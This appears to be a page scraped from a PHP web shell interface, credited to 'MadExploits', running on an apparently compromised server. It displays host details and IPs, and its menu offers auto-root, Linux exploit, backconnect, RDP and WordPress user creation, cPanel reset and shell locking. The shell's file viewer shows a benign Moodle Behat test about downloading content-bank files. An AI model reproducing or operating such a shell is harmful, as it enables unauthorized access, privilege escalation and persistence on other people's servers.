Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.22
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
contentbank /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
access_permissions.feature
1.07
KB
-rw-r--r--
delete_content.feature
3.51
KB
-rw-r--r--
download_content.feature
3.21
KB
-rw-r--r--
edit_content.feature
9.98
KB
-rw-r--r--
events.feature
3.24
KB
-rw-r--r--
search_content.feature
2.7
KB
-rw-r--r--
sort_content.feature
2.95
KB
-rw-r--r--
view_preferences.feature
1.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : download_content.feature
@core @core_contentbank @contentbank_h5p @_file_upload @javascript Feature: Download H5P content from the content bank In order export H5P content from the content bank As an admin I need to be able to download any H5P content from the content bank Background: Given the following "users" exist: | username | firstname | lastname | email | | manager | Max | Manager | man@example.com | And the following "role assigns" exist: | user | role | contextlevel | reference | | manager | manager | System | | And the following "contentbank content" exist: | contextlevel | reference | contenttype | user | contentname | filepath | | System | | contenttype_h5p | admin | filltheblanksadmin.h5p | /h5p/tests/fixtures/filltheblanks.h5p | | System | | contenttype_h5p | manager | filltheblanksmanager.h5p | /h5p/tests/fixtures/filltheblanks.h5p | And I log in as "admin" And I am on site homepage And I turn editing mode on And I add the "Navigation" block if not present And I configure the "Navigation" block And I set the following fields to these values: | Page contexts | Display throughout the entire site | And I press "Save changes" Scenario: Admins can download content from the content bank Given I click on "Site pages" "list_item" in the "Navigation" "block" And I click on "Content bank" "link" in the "Navigation" "block" And I follow "filltheblanksmanager.h5p" And I open the action menu in "region-main-settings-menu" "region" And I should see "Download" When I choose "Download" in the open action menu Then I should see "filltheblanksmanager.h5p" Scenario: Users can download content created by different users Given the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | moodle/contentbank:manageanycontent | Prohibit | manager | System | | And I log out And I log in as "manager" When I click on "Site pages" "list_item" in the "Navigation" "block" And I click on "Content bank" "link" in the "Navigation" "block" And I should see "filltheblanksadmin.h5p" And I follow "filltheblanksadmin.h5p" And I open the action menu in "region-main-settings-menu" "region" Then I should see "Download" And I should not see "Rename" Scenario: Users without the required capability cannot download content Given the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | moodle/contentbank:downloadcontent | Prohibit | manager | System | | And I log out And I log in as "manager" When I click on "Site pages" "list_item" in the "Navigation" "block" And I click on "Content bank" "link" in the "Navigation" "block" And I should see "filltheblanksmanager.h5p" And I follow "filltheblanksmanager.h5p" And I open the action menu in "region-main-settings-menu" "region" Then I should not see "Download"
Close